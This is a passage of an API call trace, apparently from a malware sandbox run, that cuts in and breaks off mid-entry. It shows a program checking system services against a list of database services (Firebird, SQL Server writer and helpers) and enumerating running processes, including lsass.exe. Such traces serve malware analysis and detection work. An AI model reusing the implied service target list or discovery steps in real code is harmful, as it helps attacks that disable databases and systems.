(lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0100.249] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0100.249] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0100.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0100.249] lstrlenW (lpString="nsi") returned 3 [0100.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0100.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0100.249] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0100.249] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0100.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0100.249] lstrlenW (lpString="PcaSvc") returned 6 [0100.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0100.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0100.249] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0100.394] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0100.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0100.394] lstrlenW (lpString="PlugPlay") returned 8 [0100.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0100.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0100.394] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0100.394] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0100.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0100.394] lstrlenW (lpString="Power") returned 5 [0100.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0100.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0100.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0100.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0100.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0100.394] lstrlenW (lpString="ProfSvc") returned 7 [0100.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0100.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0100.394] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0100.395] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0100.395] lstrlenW (lpString="RpcEptMapper") returned 12 [0100.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.395] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0100.395] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0100.395] lstrlenW (lpString="RpcSs") returned 5 [0100.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0100.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0100.395] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0100.395] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0100.395] lstrlenW (lpString="SamSs") returned 5 [0100.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0100.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0100.395] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0100.395] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0100.395] lstrlenW (lpString="Schedule") returned 8 [0100.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0100.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0100.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0100.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0100.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0100.396] lstrlenW (lpString="SecurityHealthService") returned 21 [0100.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0100.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0100.396] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0100.396] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0100.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0100.396] lstrlenW (lpString="SENS") returned 4 [0100.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0100.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0100.396] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0100.396] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0100.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0100.396] lstrlenW (lpString="ShellHWDetection") returned 16 [0100.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.396] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0100.396] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0100.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0100.396] lstrlenW (lpString="Spooler") returned 7 [0100.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0100.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0100.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0100.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0100.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0100.396] lstrlenW (lpString="SSDPSRV") returned 7 [0100.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0100.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0100.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0100.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0100.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b1468 | out: hHeap=0x5c0000) returned 1 [0100.397] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e4 [0100.404] Process32FirstW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.405] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0100.406] lstrlenW (lpString="System") returned 6 [0100.406] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0100.407] lstrlenW (lpString="smss.exe") returned 8 [0100.407] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.408] lstrlenW (lpString="csrss.exe") returned 9 [0100.408] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0100.409] lstrlenW (lpString="wininit.exe") returned 11 [0100.409] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.410] lstrlenW (lpString="csrss.exe") returned 9 [0100.410] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0100.411] lstrlenW (lpString="winlogon.exe") returned 12 [0100.411] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0100.412] lstrlenW (lpString="services.exe") returned 12 [0100.412] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0100.412] lstrlenW (lpString="lsass.exe") returned 9 [0100.413] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.413] lstrlenW (lpString="svchost.exe") returned 11 [0100.413] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0100.414] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0100.415] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0100.415] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0100.415] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.416] lstrlenW (lpString="svchost.exe") returned 11 [0100.416] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0100.417] lstrlenW (lpString="dwm.exe") returned 7 [0100.417] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.418] lstrlenW (lpString="svchost.exe") returned 11 [0100.418] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.419] lstrlenW (lpString="svchost.exe") returned 11 [0100.419] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.420] lstrlenW (lpString="svchost.exe") returned 11 [0100.420] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.421] lstrlenW (lpString="svchost.exe") returned 11 [0100.421] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.421] lstrlenW (lpString="svchost.exe") returned 11 [0100.422] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.423] lstrlenW (lpString="svchost.exe") returned 11 [0100.423] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.423] lstrlenW (lpString="svchost.exe") returned 11 [0100.423] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.424] lstrlenW (lpString="svchost.exe") returned 11 [0100.424] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.425] lstrlenW (lpString="svchost.exe") returned 11 [0100.425] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0100.426] lstrlenW (lpString="spoolsv.exe") returned 11 [0100.426] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.427] lstrlenW (lpString="svchost.exe") returned 11 [0100.427] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.427] lstrlenW (lpString="svchost.exe") returned 11 [0100.428] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0100.428] lstrlenW (lpString="audiodg.exe") returned 11 [0100.428] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0100.429] lstrlenW (lpString="sihost.exe") returned 10 [0100.429] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.463] lstrlenW (lpString="svchost.exe") returned 11 [0100.463] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.464] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.464] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0100.465] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0100.465] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0100.466] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0100.466] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0100.467] lstrlenW (lpString="explorer.exe") returned 12 [0100.467] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0100.469] lstrlenW (lpString="Memory Compression") returned 18 [0100.469] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0100.470] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0100.470] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0100.471] lstrlenW (lpString="SearchUI.exe") returned 12 [0100.471] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0100.472] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0100.472] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.473] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0100.473] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0100.473] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0100.474] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0100.474] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0100.474] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0100.475] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0100.475] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.476] lstrlenW (lpString="conhost.exe") returned 11 [0100.476] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0100.477] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0100.477] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0100.478] lstrlenW (lpString="upper arc.exe") returned 13 [0100.478] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0100.479] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0100.479] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0100.480] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0100.480] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0100.481] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0100.481] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0100.482] lstrlenW (lpString="blademcdonald.exe") returned 17 [0100.482] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0100.483] lstrlenW (lpString="courage.exe") returned 11 [0100.483] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0100.484] lstrlenW (lpString="pearl.exe") returned 9 [0100.484] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0100.485] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0100.485] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0100.485] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0100.485] Process32NextW 